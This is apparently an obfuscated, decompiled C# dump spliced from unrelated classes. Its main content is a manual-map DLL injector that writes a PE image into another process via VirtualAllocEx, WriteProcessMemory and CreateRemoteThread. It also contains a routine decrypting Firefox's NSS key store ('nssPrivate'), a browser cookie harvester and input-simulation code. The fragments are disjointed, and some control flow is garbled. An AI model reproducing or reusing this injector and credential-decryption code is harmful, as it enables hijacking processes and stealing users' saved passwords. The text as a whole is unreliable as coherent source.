// Token: 0x06000326 RID: 806 RVA: 0x01037F7C File Offset: 0x0103617C
public GClass16(GClass8 gclass8_1, GStruct13 gstruct13_1, bool bool_1, uint uint_1) : base(gclass8_1, gstruct13_1, bool_1, uint_1)
{
if (!gclass8_1.method_3 <GStruct11>((long)((ulong)(this.uint_0 + gstruct13_1.DataEntryRva)), SeekOrigin.Begin, out this.gstruct11_0))
{
throw gclass8_1.vmethod_1();
}
}
// Token: 0x06000322 RID: 802 RVA: 0x01037E14 File Offset: 0x01036014
public GClass15(GClass8 gclass8_1, GStruct13 gstruct13_1, bool bool_1, uint uint_3) : base(gclass8_1, gstruct13_1, bool_1, uint_3)
{
if (!gclass8_1.method_3 <GStruct12>((long)((ulong)(uint_3 + (gstruct13_1.SubdirectoryRva ^ 2147483648u))), SeekOrigin.Begin, out this.gstruct12_0))
{
throw gclass8_1.vmethod_1();
}
}
// Token: 0x06000355 RID: 853 RVA: 0x010391E4 File Offset: 0x010373E4
private static void smethod_9(GClass8 gclass8_0, IntPtr intptr_7)
{
GStruct5 gstruct = gclass8_0.GStruct9_0.OptionalHeader.DataDirectory[5];
if (gstruct.Size > 0u)
{
uint num = 0u;
uint num2 = (uint)(intptr_7.ToInt32() - (int)gclass8_0.GStruct9_0.OptionalHeader.ImageBase);
uint num3 = gclass8_0.method_11(gstruct.VirtualAddress);
uint num4 = (uint)Marshal.SizeOf(typeof(GStruct4));
GStruct4 gstruct2;
while (num < gstruct.Size && gclass8_0.method_3 <GStruct4>((long)((ulong)num3), SeekOrigin.Begin, out gstruct2))
{
int num5 = (int)((gstruct2.SizeOfBlock - num4) / 2u);
uint num6 = gclass8_0.method_11(gstruct2.VirtualAddress);
for (int i = 0; i < num5; i++)
{
ushort num7;
if (gclass8_0.method_3 <ushort>((long)((ulong)(num3 + num4) + (ulong)((long)((long)i << 1))), SeekOrigin.Begin, out num7) && (num7 >> 12 & 3) != 0)
{
uint num8 = num6 + (uint)(num7 & 4095);
uint num9;
if (!gclass8_0.method_3 <uint>((long)((ulong)num8), SeekOrigin.Begin, out num9))
{
throw gclass8_0.vmethod_1();
}
gclass8_0.method_7 <uint>(-4L, SeekOrigin.Current, num9 + num2);
}
}
num += gstruct2.SizeOfBlock;
num3 += gstruct2.SizeOfBlock;
}
}
}
// Token: 0x06000992 RID: 2450 RVA: 0x010561AC File Offset: 0x010543AC
public static void Inject(string process, byte[] data)
{
Process[] processes = Process.GetProcesses(process);
GClass8 gclass8_ = new GClass8(data);
new Class7().vmethod_4(gclass8_, processes[0].Id);
Worker.instance.loader.method_6();
}
// Token: 0x0600033E RID: 830 RVA: 0x00013404 File Offset: 0x00011604
public PixieForm(ref GClass8 gclass8_1, ref GClass9 gclass9_1)
{
base.Load += this.PixieForm_Load;
this.gclass12_0 = new GClass12("", GClass12.GEnum5.Manual);
this.InitializeComponent();
this.gclass9_0 = gclass9_1;
this.GClass8_0 = gclass8_1;
}
// Token: 0x06000135 RID: 309 RVA: 0x00007154 File Offset: 0x00005354
private void method_2(object object_0)
{
bool flag = (bool)object_0;
Stopwatch stopwatch = new Stopwatch();
Stopwatch stopwatch2 = new Stopwatch();
Stopwatch stopwatch3 = new Stopwatch();
Stopwatch stopwatch_ = new Stopwatch();
try
{
Thread.Sleep(10);
while (this.bool_0)
{
try
{
stopwatch2.Reset();
stopwatch.Reset();
stopwatch3.Reset();
stopwatch2.Start();
stopwatch3.Start();
if (flag)
{
GClass1.smethod_2(this.gclass7_0.Int32_0);
ValueTuple <ValueTuple <int, int, int, int, int, int, int, ValueTuple <int> >, long> valueTuple = this.gclass15_0.method_0(this.settings_0.DebugMode);
this.method_9(< Module >.smethod_6 <string>(2564884211u) + valueTuple.Item2.ToString() + < Module >.smethod_8 <string>(2166202289u));
this.gclass14_0.method_0(this.gclass7_0.Int32_0);
this.method_6(stopwatch, valueTuple.Item1, stopwatch2);
if (this.method_7(stopwatch_, valueTuple.Item1))
{
continue;
}
this.method_8(valueTuple.Item1, stopwatch, stopwatch2);
}
else
{
stopwatch2.Stop();
this.keyboardSimulator_0.KeyPress(121);
stopwatch.Start();
}
GClass8 gclass8_ = this.gclass7_0.GClass8_0;
stopwatch.Stop();
long num = this.method_4(gclass8_, (int)stopwatch.ElapsedMilliseconds);
this.method_9(< Module >.smethod_8 <string>(3718370795u) + gclass8_.Int32_0.ToString() + < Module >.smethod_6 <string>(666351105u));
this.method_9(< Module >.smethod_7 <string>(3406421762u) + (num + stopwatch.ElapsedMilliseconds).ToString() + < Module >.smethod_7 <string>(1313282621u));
this.mouseSimulator_0.RightButtonClick();
this.method_9(< Module >.smethod_7 <string>(3623799790u) + stopwatch2.ElapsedMilliseconds.ToString());
long num2 = this.method_5(gclass8_, stopwatch2, stopwatch3);
this.method_9(< Module >.smethod_8 <string>(4185924635u) + num2.ToString());
stopwatch3.Stop();
this.method_9(string.Concat(new string[]
{
< Module >.smethod_5 <string>(3394515951u),
(gclass8_.Int32_1 + gclass8_.Int32_0).ToString(),
<Module> .smethod_5 <string>(2301657760u),
stopwatch3.ElapsedMilliseconds.ToString(),
<Module> .smethod_5 <string>(387403200u)
}));
}
// Token: 0x0600033B RID: 827 RVA: 0x010383E0 File Offset: 0x010365E0
public virtual IntPtr vmethod_4(GClass8 gclass8_0, int int_0)
{
this.vmethod_0();
IntPtr intptr_ = GClass5.OpenProcess(1082u, false, int_0);
IntPtr result = this.GClass10.\u202D\u202D\u206E\u200F\u206F\u206C\u202A\u200D\u200F\u206B\u200F\u200C\u200B\u200F\u206D\u202D\u206D\u206B\u206D\u200F\u202C\u202A\u200C\u206F\u206D\u202D\u206D\u200B\u206D\u206B\u206D\u200B\u200D\u202B\u200F\u206D\u206E\u202A\u200D\u206F\u202E(gclass8_0, intptr_);
GClass5.CloseHandle(intptr_);
return(result);
}
// Token: 0x06000354 RID: 852 RVA: 0x01038FC8 File Offset: 0x010371C8
private static void smethod_8(GClass8 gclass8_0, IntPtr intptr_7, int int_0)
{
string empty = string.Empty;
string empty2 = string.Empty;
foreach (GStruct8 gstruct in gclass8_0.method_8())
{
if (gclass8_0.method_4((long)((ulong)gclass8_0.method_11(gstruct.Name)), SeekOrigin.Begin, out empty, -1, null))
{
IntPtr intPtr = IntPtr.Zero;
intPtr = Class7.smethod_3(empty, int_0);
if (intPtr.smethod_4())
{
throw new FileNotFoundException(string.Format("Unable to load dependent module '{0}'.", empty));
}
uint num = gclass8_0.method_11(gstruct.FirstThunkPtr);
uint num2 = (uint)Marshal.SizeOf(typeof(GStruct15));
GStruct15 gstruct2;
while (gclass8_0.method_3 <GStruct15>((long)((ulong)num), SeekOrigin.Begin, out gstruct2) && gstruct2.u1.AddressOfData > 0u)
{
IntPtr intPtr2 = IntPtr.Zero;
object obj;
if ((gstruct2.u1.Ordinal & 2147483648u) != 0u)
{
obj = (ushort)(gstruct2.u1.Ordinal & 65535u);
}
else
{
if (!gclass8_0.method_4((long)((ulong)(gclass8_0.method_11(gstruct2.u1.AddressOfData) + 2u)), SeekOrigin.Begin, out empty2, -1, null))
{
throw gclass8_0.vmethod_1();
}
obj = empty2;
}
if (!(intPtr2 = GClass5.GetModuleHandleA(empty)).smethod_4())
{
IntPtr intPtr3 = obj.GetType().Equals(typeof(string)) ? GClass5.GetProcAddress(intPtr2, (string)obj) : GClass5.GetProcAddress_1(intPtr2, (uint)((ushort)obj & ushort.MaxValue));
if (!intPtr3.smethod_4())
{
intPtr2 = intPtr.smethod_0((long)intPtr3.smethod_6((long)intPtr2.ToInt32()).ToInt32());
}
}
else
{
intPtr2 = GClass5.smethod_3(intptr_7, intPtr, obj);
}
if (intPtr2.smethod_4())
{
throw new EntryPointNotFoundException(string.Format("Unable to locate imported function '{0}' from module '{1}' in the remote process.", empty2, empty));
}
gclass8_0.method_7 <int>((long)((ulong)num), SeekOrigin.Begin, intPtr2.ToInt32());
num += num2;
}
}
}
}
// Token: 0x06001C01 RID: 7169 RVA: 0x000DF07C File Offset: 0x000DD27C
public void method_34(GClass8 gclass8_0)
{
this.Solo_HUD.enabled = true;
this.bool_0 = false;
this.int_1 = 0;
this.int_0 = gclass8_0.int_0;
this.float_0 = gclass8_0.float_1;
this.textObject.text = "0%";
if (this.coroutine_0 != null)
{
base.StopCoroutine(this.coroutine_0);
}
this.coroutine_0 = base.StartCoroutine(this.method_52());
}
// Token: 0x06001BFF RID: 7167 RVA: 0x000DF004 File Offset: 0x000DD204
public void method_32(GClass8 gclass8_0)
{
this.Solo_HUD.enabled = true;
this.bool_0 = false;
this.int_1 = 1;
this.int_0 = gclass8_0.int_0;
this.float_0 = gclass8_0.float_1;
this.textObject.text = "SCANNING FOLDERS...";
if (this.coroutine_0 != null)
{
base.StopCoroutine(this.coroutine_0);
}
this.coroutine_0 = base.StartCoroutine(this.method_43());
}
// Token: 0x06001BF4 RID: 7156 RVA: 0x000DEA2C File Offset: 0x000DCC2C
public void method_22(GClass8 gclass8_0)
{
this.Solo_HUD.enabled = false;
this.bool_0 = true;
this.int_1 = 1;
this.int_0 = gclass8_0.int_0;
this.float_0 = gclass8_0.float_1;
this.textObject.text = "directories";
if (this.coroutine_0 != null)
{
base.StopCoroutine(this.coroutine_0);
}
this.coroutine_0 = base.StartCoroutine(this.method_17());
}
// Token: 0x06000157 RID: 343 RVA: 0x0000BFC4 File Offset: 0x0000A1C4
private static byte[] smethod_9(string string_3)
{
byte[] array = new byte[24];
byte[] result;
try
{
if (File.Exists(string_3))
{
GClass8 gclass = new GClass8(string_3);
gclass.method_3("metaData");
string s = gclass.method_2(0, "item1");
string s2 = gclass.method_2(0, "item2)");
GClass12 gclass2 = GClass10.smethod_0(Encoding.Default.GetBytes(s2));
byte[] byte_ = gclass2.List_0[0].List_0[0].List_0[1].List_0[0].Byte_0;
byte[] byte_2 = gclass2.List_0[0].List_0[1].Byte_0;
GClass16 gclass3 = new GClass16(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), byte_);
gclass3.method_0();
GClass14.smethod_0(gclass3.Byte_3, gclass3.Byte_4, byte_2, PaddingMode.None);
gclass.method_3("nssPrivate");
int int32_ = gclass.Int32_0;
string s3 = string.Empty;
for (int i = 0; i < int32_; i++)
{
if (gclass.method_2(i, "a102") == Encoding.Default.GetString(Class13.byte_0))
{
s3 = gclass.method_2(i, "a11");
IL_176:
GClass12 gclass4 = GClass10.smethod_0(Encoding.Default.GetBytes(s3));
byte_ = gclass4.List_0[0].List_0[0].List_0[1].List_0[0].Byte_0;
byte_2 = gclass4.List_0[0].List_0[1].Byte_0;
gclass3 = new GClass16(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), byte_);
gclass3.method_0();
array = Encoding.Default.GetBytes(GClass14.smethod_0(gclass3.Byte_3, gclass3.Byte_4, byte_2, PaddingMode.PKCS7));
return(array);
}
}
goto IL_176;
}
result = array;
}
catch (Exception)
{
result = array;
}
return(result);
}
// Token: 0x06000353 RID: 851 RVA: 0x01038F04 File Offset: 0x01037104
private static void smethod_7(GClass8 gclass8_0, IntPtr intptr_7, IntPtr intptr_8)
{
foreach (GStruct14 gstruct in gclass8_0.method_9())
{
byte[] array = new byte[gstruct.SizeOfRawData];
if (!gclass8_0.method_2((long)((ulong)gstruct.PointerToRawData), SeekOrigin.Begin, array))
{
throw gclass8_0.vmethod_1();
}
if ((gstruct.Characteristics & 33554432u) == 0u)
{
uint num;
GClass5.WriteProcessMemory(intptr_7, intptr_8.smethod_0((long)((ulong)gstruct.VirtualAddress)), array, array.Length, out num);
IntPtr intPtr = intptr_8.smethod_0((long)((ulong)gstruct.VirtualAddress));
GClass5.VirtualProtectEx(intptr_7, intPtr, gstruct.SizeOfRawData, gstruct.Characteristics & 16777215u, out num);
}
}
}
// Token: 0x0600034D RID: 845 RVA: 0x0103879C File Offset: 0x0103699C
public override IntPtr \u202D\u202D\u206E\u200F\u206F\u206C\u202A\u200D\u200F\u206B\u200F\u200C\u200B\u200F\u206D\u202D\u206D\u206B\u206D\u200F\u202C\u202A\u200C\u206F\u206D\u202D\u206D\u200B\u206D\u206B\u206D\u200B\u200D\u202B\u200F\u206D\u206E\u202A\u200D\u206F\u202E(string string_0, IntPtr intptr_7)
{
this.vmethod_0();
IntPtr result;
try
{
using (GClass8 gclass = new GClass8(string_0))
{
result = this.GClass10.\u202D\u202D\u206E\u200F\u206F\u206C\u202A\u200D\u200F\u206B\u200F\u200C\u200B\u200F\u206D\u202D\u206D\u206B\u206D\u200F\u202C\u202A\u200C\u206F\u206D\u202D\u206D\u200B\u206D\u206B\u206D\u200B\u200D\u202B\u200F\u206D\u206E\u202A\u200D\u206F\u202E(gclass, intptr_7);
}
}
catch (Exception exception_)
{
this.vmethod_2(exception_);
result = IntPtr.Zero;
}
return(result);
}
// Token: 0x0600031F RID: 799 RVA: 0x01037D64 File Offset: 0x01035F64
public GClass13(GClass8 gclass8_0)
{
GStruct5 gstruct = gclass8_0.GStruct9_0.OptionalHeader.DataDirectory[2];
if (gstruct.VirtualAddress > 0u && gstruct.Size > 0u)
{
uint uint_;
GStruct12 gstruct2;
if (!gclass8_0.method_3 <GStruct12>((long)((ulong)(uint_ = gclass8_0.method_11(gstruct.VirtualAddress))), SeekOrigin.Begin, out gstruct2))
{
throw gclass8_0.vmethod_1();
}
GStruct13 gstruct13_ = new GStruct13
{
SubdirectoryRva = 2147483648u
};
this.GClass15_0 = new GClass13.GClass15(gclass8_0, gstruct13_, false, uint_);
}
}
public bool Visit(CefSharp.Cookie cookie, int count, int total, ref bool deleteCookie)
{
GClass8 class2 = this;
lock (class2)
{
if (this.dictionary_0.ContainsKey(cookie.Name))
{
this.dictionary_0[cookie.Name] = new System.Net.Cookie(cookie.Name, cookie.Value, cookie.Path, cookie.Domain);
this.dictionary_0[cookie.Name].Name = cookie.Name;
this.dictionary_0[cookie.Name].Value = cookie.Value;
this.dictionary_0[cookie.Name].Path = cookie.Path;
this.dictionary_0[cookie.Name].Domain = cookie.Domain;
}
else
{
this.dictionary_0.Add(cookie.Name, new System.Net.Cookie(cookie.Name, cookie.Value, cookie.Path, cookie.Domain));
}
this.method_2(count == (total - 1));
}
return(true);
}
// Token: 0x06000349 RID: 841 RVA: 0x01038528 File Offset: 0x01036728
private static byte[] smethod_1(GClass8 gclass8_0)
{
byte[] result = null;
GClass13 gclass = new GClass13(gclass8_0);
GClass13.GClass15 gclass2 = null;
int num = 0;
while (num < gclass.GClass15_0.GClass15_0.Length && gclass2 == null)
{
if ((long)gclass.GClass15_0.GClass15_0[num].Int32_0 == 24L)
{
gclass2 = gclass.GClass15_0.GClass15_0[num];
}
num++;
}
if (gclass2 != null && gclass2.GClass15_0.Length != 0 && Class7.smethod_4(gclass2.GClass15_0[0].Int32_0) && gclass2.GClass15_0[0].GClass16_0.Length == 1)
{
result = gclass2.GClass15_0[0].GClass16_0[0].method_0();
}
return(result);
}
// Token: 0x06000328 RID: 808 RVA: 0x0103800C File Offset: 0x0103620C
public GClass14(GClass8 gclass8_1, GStruct13 gstruct13_1, bool bool_1, uint uint_1)
{
this.gclass8_0 = gclass8_1;
this.gstruct13_0 = gstruct13_1;
this.Boolean_0 = bool_1;
if (bool_1)
{
ushort num = 0;
if (gclass8_1.method_3 <ushort>((long)((ulong)(uint_1 + (gstruct13_1.NameRva & 2147483647u))), SeekOrigin.Begin, out num))
{
byte[] byte_ = new byte[(int)num << 1];
if (gclass8_1.method_2(0L, SeekOrigin.Current, byte_))
{
this.string_0 = GClass13.GClass14.smethod_1(GClass13.GClass14.smethod_0(), byte_);
}
}
if (this.string_0 == null)
{
throw gclass8_1.vmethod_1();
}
}
this.uint_0 = uint_1;
}
// Token: 0x06000381 RID: 897 RVA: 0x010398CC File Offset: 0x01037ACC
public override IntPtr \u202D\u202D\u206E\u200F\u206F\u206C\u202A\u200D\u200F\u206B\u200F\u200C\u200B\u200F\u206D\u202D\u206D\u206B\u206D\u200F\u202C\u202A\u200C\u206F\u206D\u202D\u206D\u200B\u206D\u206B\u206D\u200B\u200D\u202B\u200F\u206D\u206E\u202A\u200D\u206F\u202E(GClass8 gclass8_0, IntPtr intptr_0)
{
this.vmethod_0();
string text = GClass11.smethod_2(gclass8_0.method_12());
IntPtr result = IntPtr.Zero;
if (!string.IsNullOrEmpty(text))
{
result = this.GClass10.\u202D\u202D\u206E\u200F\u206F\u206C\u202A\u200D\u200F\u206B\u200F\u200C\u200B\u200F\u206D\u202D\u206D\u206B\u206D\u200F\u202C\u202A\u200C\u206F\u206D\u202D\u206D\u200B\u206D\u206B\u206D\u200B\u200D\u202B\u200F\u206D\u206E\u202A\u200D\u206F\u202E(text, intptr_0);
try
{
File.Delete(text);
}
catch
{
}
}
return(result);
}
// Token: 0x06000396 RID: 918 RVA: 0x01039CD0 File Offset: 0x01037ED0
internal string method_0(GClass8 gclass8_0)
{
return(GClass11.smethod_2(gclass8_0.method_12()));
}
// Token: 0x0600034C RID: 844 RVA: 0x01038754 File Offset: 0x01036954
public override IntPtr \u202D\u202D\u206E\u200F\u206F\u206C\u202A\u200D\u200F\u206B\u200F\u200C\u200B\u200F\u206D\u202D\u206D\u206B\u206D\u200F\u202C\u202A\u200C\u206F\u206D\u202D\u206D\u200B\u206D\u206B\u206D\u200B\u200D\u202B\u200F\u206D\u206E\u202A\u200D\u206F\u202E(GClass8 gclass8_0, IntPtr intptr_7)
{
this.vmethod_0();
IntPtr result;
try
{
result = Class7.smethod_6(GClass11.smethod_0 <GClass8>(gclass8_0), intptr_7, true);
}
catch (Exception exception_)
{
this.vmethod_2(exception_);
result = IntPtr.Zero;
}
return(result);
}
// Token: 0x0600037C RID: 892 RVA: 0x01039604 File Offset: 0x01037804
internal IntPtr method_0(GClass8 gclass8_0)
{
return(this.class7_0.GClass10.\u202D\u202D\u206E\u200F\u206F\u206C\u202A\u200D\u200F\u206B\u200F\u200C\u200B\u200F\u206D\u202D\u206D\u206B\u206D\u200F\u202C\u202A\u200C\u206F\u206D\u202D\u206D\u200B\u206D\u206B\u206D\u200B\u200D\u202B\u200F\u206D\u206E\u202A\u200D\u206F\u202E(gclass8_0, this.intptr_0));
}
// Token: 0x0600033C RID: 828 public abstract IntPtr \u202D\u202D\u206E\u200F\u206F\u206C\u202A\u200D\u200F\u206B\u200F\u200C\u200B\u200F\u206D\u202D\u206D\u206B\u206D\u200F\u202C\u202A\u200C\u206F\u206D\u202D\u206D\u200B\u206D\u206B\u206D\u200B\u200D\u202B\u200F\u206D\u206E\u202A\u200D\u206F\u202E(GClass8 gclass8_0, IntPtr intptr_0);
// Token: 0x06000352 RID: 850 RVA: 0x01038C54 File Offset: 0x01036E54
private static IntPtr smethod_6(GClass8 gclass8_0, IntPtr intptr_7, bool bool_0 = false)
{
if (intptr_7.smethod_4() || intptr_7.smethod_2(-1L))
{
throw new ArgumentException("Invalid process handle.", "hProcess");
}
if (gclass8_0 == null)
{
throw new ArgumentException("Cannot map a non-existant PE Image.", "image");
}
int processId = GClass5.GetProcessId(intptr_7);
if (processId == 0)
{
throw new ArgumentException("Provided handle doesn't have sufficient permissions to inject", "hProcess");
}
IntPtr intPtr = IntPtr.Zero;
IntPtr intPtr2 = IntPtr.Zero;
uint num = 0u;
try
{
intPtr = GClass5.VirtualAllocEx(intptr_7, IntPtr.Zero, gclass8_0.GStruct9_0.OptionalHeader.SizeOfImage, 12288, 4);
if (intPtr.smethod_4())
{
throw new InvalidOperationException("Unable to allocate memory in the remote process.");
}
Class7.smethod_9(gclass8_0, intPtr);
Class7.smethod_5(gclass8_0, intptr_7, processId);
Class7.smethod_8(gclass8_0, intptr_7, processId);
if (bool_0)
{
byte[] array = new byte[(ulong)gclass8_0.GStruct6_0.e_lfanew + (ulong)((long)Marshal.SizeOf(typeof(GStruct7))) + 4UL + (ulong)gclass8_0.GStruct9_0.FileHeader.SizeOfOptionalHeader];
if (gclass8_0.method_2(0L, SeekOrigin.Begin, array))
{
GClass5.WriteProcessMemory(intptr_7, intPtr, array, array.Length, out num);
}
}
Class7.smethod_7(gclass8_0, intptr_7, intPtr);
if (gclass8_0.GStruct9_0.OptionalHeader.AddressOfEntryPoint <= 0u)
{
return(intPtr);
}
byte[] array2 = (byte[])Class7.byte_0.Clone();
BitConverter.GetBytes(intPtr.ToInt32()).CopyTo(array2, 11);
intPtr2 = GClass5.VirtualAllocEx(intptr_7, IntPtr.Zero, (uint)Class7.byte_0.Length, 12288, 64);
if (!intPtr2.smethod_4() && GClass5.WriteProcessMemory(intptr_7, intPtr2, array2, array2.Length, out num))
{
if ((ulong)num == (ulong)((long)array2.Length))
{
IntPtr intPtr3 = GClass5.CreateRemoteThread(intptr_7, 0, 0, intPtr2, (uint)intPtr.smethod_0((long)((ulong)gclass8_0.GStruct9_0.OptionalHeader.AddressOfEntryPoint)).ToInt32(), 0, 0);
if ((ulong)GClass5.WaitForSingleObject(intPtr3, 5000) != 0UL)
{
return(intPtr);
}
GClass5.GetExitCodeThread(intPtr3, out num);
if (num == 0u)
{
GClass5.VirtualFreeEx(intptr_7, intPtr, 0, 32768);
throw new Exception("Entry method of module reported a failure " + Marshal.GetLastWin32Error().ToString());
}
GClass5.VirtualFreeEx(intptr_7, intPtr2, 0, 32768);
GClass5.CloseHandle(intPtr3);
return(intPtr);
}
}
throw new InvalidOperationException("Unable to write stub to the remote process.");
}
catch (Exception ex)
{
if (!intPtr.smethod_4())
{
GClass5.VirtualFreeEx(intptr_7, intPtr, 0, 32768);
}
if (!intPtr2.smethod_4())
{
GClass5.VirtualFreeEx(intptr_7, intPtr, 0, 32768);
}
intPtr = IntPtr.Zero;
throw ex;
}
return(intPtr);
}
// Token: 0x06000124 RID: 292 RVA: 0x00006E68 File Offset: 0x00005068
public GClass2()
{
this.GClass8_0 = new GClass8(0, 0, 0);
}
// Token: 0x06000351 RID: 849 RVA: 0x0103888C File Offset: 0x01036A8C
private static bool smethod_5(GClass8 gclass8_0, IntPtr intptr_7, int int_0)
{
List <string> list = new List <string>();
string empty = string.Empty;
bool result = false;
foreach (GStruct8 gstruct in gclass8_0.method_8())
{
if (gclass8_0.method_4((long)((ulong)gclass8_0.method_11(gstruct.Name)), SeekOrigin.Begin, out empty, -1, null) && !string.IsNullOrEmpty(empty) && Class7.smethod_3(empty, int_0).smethod_4())
{
list.Add(empty);
}
}
if (list.Count > 0)
{
byte[] array = Class7.smethod_1(gclass8_0);
string text = string.Empty;
if (array != null)
{
text = GClass11.smethod_2(array);
}
else
{
if (string.IsNullOrEmpty(gclass8_0.String_0) || !File.Exists(Path.Combine(Path.GetDirectoryName(gclass8_0.String_0), Path.GetFileName(gclass8_0.String_0) + ".manifest")))
{
IntPtr[] array2 = GClass10.smethod_0(GEnum7.Standard).GClass10.\u200E\u206B\u200D\u202B\u200F\u206A\u206D\u200E\u200E\u206B\u206F\u202E\u200F\u200B\u206E\u202B\u206A\u200E\u206B\u206A\u206C\u202A\u206C\u202B\u206B\u206F\u206A\u200F\u206A\u200E\u202B\u200F\u200F\u200E\u200E\u200B\u200E\u202B\u206D\u202A\u202E(list.ToArray(), intptr_7);
for (int i = 0; i < array2.Length; i++)
{
if (array2[i].smethod_4())
{
return(false);
}
}
return(true);
}
text = Path.Combine(Path.GetDirectoryName(gclass8_0.String_0), Path.GetFileName(gclass8_0.String_0) + ".manifest");
}
if (string.IsNullOrEmpty(text))
{
return(false);
}
IntPtr intPtr = GClass5.VirtualAllocEx(intptr_7, IntPtr.Zero, (uint)Class7.byte_1.Length, 12288, 64);
IntPtr intPtr2 = GClass5.smethod_0(intptr_7, Encoding.ASCII.GetBytes(text + "\0"), 4);
IntPtr intPtr3 = GClass5.smethod_0(intptr_7, Encoding.ASCII.GetBytes(string.Join("\0", list.ToArray()) + "\0"), 4);
if (!intPtr.smethod_4())
{
byte[] array3 = (byte[])Class7.byte_1.Clone();
uint num = 0u;
BitConverter.GetBytes(Class7.intptr_1.smethod_7(intPtr.smethod_0(63L)).ToInt32()).CopyTo(array3, 59);
BitConverter.GetBytes(Class7.intptr_0.smethod_7(intPtr.smethod_0(88L)).ToInt32()).CopyTo(array3, 84);
BitConverter.GetBytes(Class7.intptr_3.smethod_7(intPtr.smethod_0(132L)).ToInt32()).CopyTo(array3, 128);
BitConverter.GetBytes(Class7.intptr_4.smethod_7(intPtr.smethod_0(146L)).ToInt32()).CopyTo(array3, 142);
BitConverter.GetBytes(Class7.intptr_2.smethod_7(intPtr.smethod_0(200L)).ToInt32()).CopyTo(array3, 196);
BitConverter.GetBytes(Class7.intptr_5.smethod_7(intPtr.smethod_0(209L)).ToInt32()).CopyTo(array3, 205);
BitConverter.GetBytes(intPtr2.ToInt32()).CopyTo(array3, 31);
BitConverter.GetBytes(list.Count).CopyTo(array3, 40);
BitConverter.GetBytes(intPtr3.ToInt32()).CopyTo(array3, 49);
if (GClass5.WriteProcessMemory(intptr_7, intPtr, array3, array3.Length, out num) && (ulong)num == (ulong)((long)array3.Length))
{
uint num2 = GClass5.smethod_7(intptr_7, intPtr, 0u, 5000);
result = (num2 != uint.MaxValue && num2 > 0u);
}
GClass5.VirtualFreeEx(intptr_7, intPtr3, 0, 32768);
GClass5.VirtualFreeEx(intptr_7, intPtr2, 0, 32768);
GClass5.VirtualFreeEx(intptr_7, intPtr, 0, 32768);
}
}
return(result);
}
